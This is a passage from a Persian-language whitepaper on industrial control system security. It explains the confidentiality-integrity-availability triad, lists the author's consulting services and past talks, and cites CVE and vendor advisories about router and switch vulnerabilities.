 امتحان کرده بعدازآن بر روی تجهیزات اصلی اجرا نمایید. 1افزونگی

ای از اساات ما این مفاهی  را همراه با مجموعهکه هر یک از موارد بالا برای شااما مبه  * درصاورتی

 دهی .به شما آموزش می های آموزشی مقدماتی و پیشرفتهدوره اصول امنیتی دیگر در قالب

 

                                              

 
1 Hash Code 

2 Digital Certificate 

3 Redundancy 

http://www.mmahmadian.ir/icssecurityworkshop/
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 ن مجاز است.، با مرجع دهی به آسند ینااز مطالب  بردارییکپ رگونههجایز است.  مؤلفبازانتشار این سند با حفظ نام 

های ذاتی و اجرایی است که هد  امنیت اطلاعات عفهر سامانه دارای ضفیزیکی -در فضای سایبر

طورکلی امنیت ها هست. بهجویی از این ضعفهایی برای جلوگیری از سو استفاده و بهرهپیشنهاد راه

است که از این سه  1پذیریو دسترس 1، صحت اطلاعات2اطلاعات مبتنی بر تحقق سه ویژگی محرمانگی

اند. در ادامه این شدهنمایش داده 21شکل شود که در یاد می CIAتایی ویژگی در برخی منابع با عنوان سه

 [:2کنی  ]سه ویژگی را تعریف می

 

 CIAتایی : مثلث سه52شکل 

و رخدادهای ناقض هرکدام از  هاآنی امنیتی به همراه تعریف اختصاری گانهاصول سه 2جدول در 

 ها آورده شده است. شرر تفصیلی هر یک از این سه ویژگی در ادامه این بخش آورد شده است.ویژگی

 [5امنیتی ] یگانه: اصول سه1جدول  

 رخداد ناقض ویژگی تعریف مختصر ویژگی

 محرمانگی
 هاعدم افشای غیرمجاز داده

 ت محرمانهنشت اطلاعا 

 هادسترسی غیرمجاز به داده 

 هاسرقت داده 

 تعرض به حری  خصوصی 

                                              

 
1 Confidentiality 

2 Integrity 
3 Availability 
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ها توسط کاری دادهعدم دست صحت 

 افزارهای غیرمجازافراد یا نرم

 هاتغیر مخفیانه در داده 

 هاجعل داده 

ها توسااط دسااترساای به داده پذیریدسترس

افراد مجااز در هر مکااان و در 

 هرزمان

 مات یک کارگزاراز دسترس خارج شدن خد 

 هانابودی داده 

 اختلال در عملکرد تجهیزات 

 

 محرمانگی

رو هد  امنیت اطلاعات، ارائه مجموعه ها است. ازاینمحرمانگی به معنای عدم افشای غیرمجاز داده

های غیرمجاز به اطلاعات است که از دسترسی افراد، فرآیندها و موجودیت  2هاییها و رویهمکانیزم

م ها تا عدتواند گستره وسیعی از عدم افشا  محتوای دادهشده جلوگیری کند. محرمانگی میبندیطبقه

 .[1را در بربگیرد ] 1هاافشای نام

 صحت

کاری عمدی یا غیرعمدی صحت اطلاعات به معنای حفظ یکپارچگی و عدم امکان تحریف و دست

هایی است که از هرگونه ها و رویهیزمرو هد  امنیت اطلاعات، ارائه مجموعه مکاناطلاعات است. ازاین

ها های غیرمجاز جلوگیری کند. صحت دادهکاری و حذ  اطلاعات توسط افراد یا موجودیتتحریف، دست

 .[1است ] 1و انکارناپذیری 1هاها )عدم حذ ، اضافه و تکرار(، اصالت مبدأ دادهشامل اصالت داده

                                              

 
1 Procedures 
2 Anonymity 

3 Data Origin Authentication 
4 Non-Repudiation 
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 پذیریدسترس

 هایطور عام منابع( توسط افراد یا موجودیتها )بهترسی به دادهپذیری به معنای امکان دسدسترس

هایی است که افراد و ها و رویهرو هد  امنیت اطلاعات، ارائه مجموعه مکانیزممجاز است. ازاین

ها یا سایر منابع مجاز را در زمان مناسب و مکان مناسب داشته های مجاز امکان دسترسی به دادهموجودیت

 .[1باشند ]
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 فهرست شده است: ذیلاًخدمات ما 

 تبطهای مرهای کنترل صنعتی و سمینارها و کارگاههای مقدماتی و پیشرفته امنیت سامانهتدری  دوره 

 های حیاتیهای کنترل صنعتی و زیرساختهای جامع امن سازی سامانهمشاوره و اجرای طرر 

 های کنترل صنعتیهای ارزیابی امنیتی سامانهآزمایشگاه اندازیطراحی و راه 

 فیزیکی-های سایبری و سایبرطراحی نقشه راه امن سازی سایبری سامانه 

 های حیاتیهای کنترل صنعتی و زیرساختارزیابی امنیتی سامانه 

 فیزیکی-های سایبرتحلیل جریان اطلاعات در سامانه 

 فیزیکی -های سایبرسازی امنیتی سامانهمدل 

 

 راه ارتباطی:

 ی:سخنران یا یآموزش یهادوره یبرگزار ،، طراحی و اجراجهت عقد قرارداد مشاورهتماس  

 mm.Ahmadian[aatt]aut[dot]ac[dot]ir 

 www.mmAhmadian.ir 

31213161112 

  : (یلتعط یرغ)روزهای  21صبح الی  1ساعات تماس 

 قبل از تماس یک  لطفاً  دانشگاهیکاری و حضور در برخی جلسات کاری یا  یبه دلیل مشغله

و موضوع نیازمندی ارسال نمایید تا بتوان  در خدمت  صنعت/سازمان()خود  پیامک حاوی معرفی

 شما باش .

ده بن ی( برایرمزنگار) یتیامن لایهیکخود را با  یارساااال یامپ یادارند نامه  یلکاه تماا عزیزانی

نامه خود استفاده کنند.  رمز شدهارساال  ی( براینکلبنده ) PGP یعموم یداز کل توانندیمارساال کنند 

 یلفا سازدره د، کد یکل یناز صحت ا یشترب یناناطم یبرا توانیدیمبنده  یعموم یدقبل از استفاده از کل

 .یدکن یسهمقا یلذ سازدره بنده را با کد  یدمربوط به کل

MD5 checksum of PGP_PublicKey_MMAhmadian.zip: 

5818bc4225bdd6354b07a5a9ed3bf0af 
  

http://www.mmahmadian.ir/
http://www.mmahmadian.ir/wp-content/uploads/2017/11/PGP_PublicKey_MMAhmadian.zip
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 برخی سوابق آموزشی مرتبط:
 اسلاید زمان محل ارائه عنوان انگلیسی عنوان

 در امنیتی هایچالشسخنرانی 

 با) فیزیکی-سایبر هایسامانه

 در اطلاعات جریان تحلیل محوریت

 گاز( و نفت لوله خطوط

Cyber–Physical Systems 
Security Challenges 

(Case study: 
Information Flow 

Security Analysis in 
Natural Gas and Oil 

Pipeline System) 

 کنفران  ششمین

 و اطلاعات فناوری

 گاز، نفت، در ارتباطات

 پتروشیمی، و یشپالا

 شهید دانشگاه تهران،

 بهشتی

 لینک 2116دی ماه 

 و تهدیدات شناسایی

 پروتکل امنیتی هایپذیریآسیب

-IEC 60870-5 صنعتی کنترل

104 

Towards the 
Identification of IEC 

60870-5-104 Protocol 
Security Vulnerabilities 

and Threats 

 کنفران  چهاردهمین

، رمز انجمن المللیبین

 شیراز، دانشگاه شیراز

 آگهی لینک 2116شهریور  26

 در اطلاعات امنیت آموزشی کارگاه

 هاچالش: صنعتی کنترل هایسامانه

 راهکارها و

Information Security in 
Industrial Control 

Systems: Challenges 
and Solutions 

 کنفران  چهاردهمین

 رمز انجمن المللیبین

 شیراز، دانشگاه شیراز

 لینک آگهی 2116شهریور  21

 صوری وارسی و ارائه علمی تحلیل

 در اطلاعات جریان امنیت

فیزیکی، -سایبری هایسامانه

انتقال  سامانه: موردی مطالعه

 گاز( لوله خطوط)

Formal Analysis and 
Verification of 

information flow 
security in cyber–

physical systems, Case 
study: natural gas 

pipeline system 

دانشگاه صنعتی 

 امیرکبیر

 مرداد

2112 

 

 یهاسامانه بر یدرآمدارائه علمی 

 هایچالش و فیزیکی-سایبری

: محوری ، حوزههاآن امنیتی

 کنترل صنعتی هایسامانه

Introduction to cyber–
physical systems and 

their security 
challenges, Case study: 

ICSs 

دانشگاه صنعتی 

 امیرکبیر

 شهریور

2112 

 

 راهکارهایها و سخنرانی چالش

کنترل  هایسامانه در امنیتی

 صنعتی

security challenges and 
solutions in ICSs 

 آبان -

2112 

 

 در سایبری کارگاه آموزشی امنیت

 کنترل صنعتی هایسامانه

Cyber Security in 
Industrial control 

systems 

شرکت ملی گاز ایران، 

 تهران

 اسفند

2111 

 لینک

 سایبری سخنرانی امنیت

 در صنعتی کنترل هایسامانه

 و پالایش گاز، نفت، صنایع

 پتروشیمی

 و کنفران  سومین 

 فناوری نمایشگاه

 ارتباطات و اطلاعات

 گاز، نفت، صنایع در

پتروشیمی،  و پالایش

تهران، دانشگاه شهید 

 بهشتی

 دی

2111 

 لینک

     

http://ahmadian.blog.ir/post/PetroICT2018PresenteationFile
http://ahmadian.blog.ir/post/ISCISC2017_ICSSecOralPPapers
http://ahmadian.blog.ir/post/InformationSecurityInICS_Workshop_ISCISC2017
http://ahmadian.blog.ir/post/CyberSecurityInIndustrialSystems
http://ahmadian.blog.ir/post/ICS_cyber_security_solutions_3rdICSOI
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از من ر  IEC 60870-5-104وتکل کنترل صنعتی ، بابک. پررضازاده؛ یمحمدمهداحمدیان،  .2

 2116امنیت سایبری، انستیتو ایزایران، 

هزار روتر سوییچ در  133اطلاعیه وزارت ارتباطات و فناوری اطلاعات پیرامون حمله به بیش از  .1

 دنیا

 و  آموز، پینگ، م. م. احمدیان، آکادمی آموزشی روزبه، آفسک رسانیاطلاعهای کانال .1

4. https://www.linkedin.com/pulse/big-remaining-stuxnet-question-dale-

peterson/ 

5. https://blog.talosintelligence.com/2018/04/vuln-moxa-edr-810.html 

6. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12120 

7. https://nvd.nist.gov/vuln/detail/CVE-2017-12120 

8. https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0472 

9. https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-0171 

10. https://www.securityfocus.com/bid/103538 

11. https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0473 

12. https://people.canonical.com/~ubuntu-security/cve/2017/CVE- 

2017-12121.html 

13. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12121 

14. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14435 

15. https://www.cvedetails.com/cve/CVE-2017-14435/ 

16. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0474 
17. https://nvd.nist.gov/vuln/detail/CVE-2017-12124 

18. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0476 
19. https://nvd.nist.gov/vuln/detail/CVE-2017-12125 

20. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0477 
21. https://www.talosintelligence.com/reports/TALOS-2017-0478 

22. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0479 
23. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0480 
24. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0481 

https://www.linkedin.com/pulse/big-remaining-stuxnet-question-dale-peterson/
https://www.linkedin.com/pulse/big-remaining-stuxnet-question-dale-peterson/
https://blog.talosintelligence.com/2018/04/vuln-moxa-edr-810.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12120
https://nvd.nist.gov/vuln/detail/CVE-2017-12120
https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0472
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-0171
https://www.securityfocus.com/bid/103538
https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0473
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25. https://www.talosintelligence.com/vulnerability_reports/TALOS- 

2017-0487 
26. https://blogs.cisco.com/security/talos/moxa-edr-810- 

vulnerabilities 

27. https://securitytracker.com/id/1040580 

28. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-

sa-20180328-smi#fixed 

29. https://embedi.com/blog/cisco-smart-install-remote-code-execution/ 

30. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-

sa-20170214-smi 

31. https://www.i24news.tv/en/news/international/middle-east/171739-180407-

don-t-mess-with-us-elections-hackers-warn-in-cyber-attack-on-iran 

32. https://www.zdnet.com/article/cisco-security-russia-iran-switches-hit-by-

attackers-who-leave-us-flag-on-screens 

33. http://www.aftana.ir/fa/doc/news/13892 

34. http://www.invexnews.com/item-342896-iran-hit-by-massive-cyber-attack-

that-le 

35. https://www.hackread.com/hackers-leave-us-flag-after-targeting-cisco-

switches-in-russia-iran 

36. https://securityaffairs.co/wordpress/71102/hacking/cisco-smart-install-

hack.html 

37. https://isc.sans.edu/diary/rss/23535 

38. https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvd36820 

39. https://motherboard.vice.com/en_us/article/a3yn38/election-hacking-

vigilante-russia-iran-cisco 

40. https://nvd.nist.gov/vuln/detail/CVE-2018-0156 

41. https://cwe.mitre.org/data/definitions/20.html 

42. https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-cisco-ios-

ios-xe-and-ios-xr-could-allow-for-remote-code-execution_2018-034/ 

43. https://cwe.mitre.org/data/definitions/121.html 

44. https://www.isna.ir/news/97013011507/%DA%A9%D8%B4%D9%81-

%DB%B1%DB%B7-%D8%A2%D8%B3%DB%8C%D8%A8-

%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D8%AF%D8%B1-

%D8%B1%D9%88%D8%AA%D8%B1-

%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86-

%D9%87%D8%A7%DB%8C-%D9%86%D9%81%D8%AA-%D9%88-

%DA%AF%D8%A7%D8%B2 

45. https://www.us-cert.gov/ncas/current-activity/2018/05/16/Cisco-Releases-

Security-Updates 

https://securitytracker.com/id/1040580
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi#fixed
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi#fixed
https://embedi.com/blog/cisco-smart-install-remote-code-execution/
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi
https://www.i24news.tv/en/news/international/middle-east/171739-180407-don-t-mess-with-us-elections-hackers-warn-in-cyber-attack-on-iran
https://www.i24news.tv/en/news/international/middle-east/171739-180407-don-t-mess-with-us-elections-hackers-warn-in-cyber-attack-on-iran
https://www.zdnet.com/article/cisco-security-russia-iran-switches-hit-by-attackers-who-leave-us-flag-on-screens
https://www.zdnet.com/article/cisco-security-russia-iran-switches-hit-by-attackers-who-leave-us-flag-on-screens
http://www.aftana.ir/fa/doc/news/13892
http://www.invexnews.com/item-342896-iran-hit-by-massive-cyber-attack-that-le
http://www.invexnews.com/item-342896-iran-hit-by-massive-cyber-attack-that-le
https://www.hackread.com/hackers-leave-us-flag-after-targeting-cisco-switches-in-russia-iran
https://www.hackread.com/hackers-leave-us-flag-after-targeting-cisco-switches-in-russia-iran
https://securityaffairs.co/wordpress/71102/hacking/cisco-smart-install-hack.html
https://securityaffairs.co/wordpress/71102/hacking/cisco-smart-install-hack.html
https://isc.sans.edu/diary/rss/23535
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvd36820
https://motherboard.vice.com/en_us/article/a3yn38/election-hacking-vigilante-russia-iran-cisco
https://motherboard.vice.com/en_us/article/a3yn38/election-hacking-vigilante-russia-iran-cisco
https://nvd.nist.gov/vuln/detail/CVE-2018-0156
https://cwe.mitre.org/data/definitions/20.html
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-cisco-ios-ios-xe-and-ios-xr-could-allow-for-remote-code-execution_2018-034/
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-cisco-ios-ios-xe-and-ios-xr-could-allow-for-remote-code-execution_2018-034/
https://cwe.mitre.org/data/definitions/121.html
https://www.isna.ir/news/97013011507/%DA%A9%D8%B4%D9%81-%DB%B1%DB%B7-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D8%AF%D8%B1-%D8%B1%D9%88%D8%AA%D8%B1-%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86-%D9%87%D8%A7%DB%8C-%D9%86%D9%81%D8%AA-%D9%88-%DA%AF%D8%A7%D8%B2
https://www.isna.ir/news/97013011507/%DA%A9%D8%B4%D9%81-%DB%B1%DB%B7-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D8%AF%D8%B1-%D8%B1%D9%88%D8%AA%D8%B1-%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86-%D9%87%D8%A7%DB%8C-%D9%86%D9%81%D8%AA-%D9%88-%DA%AF%D8%A7%D8%B2
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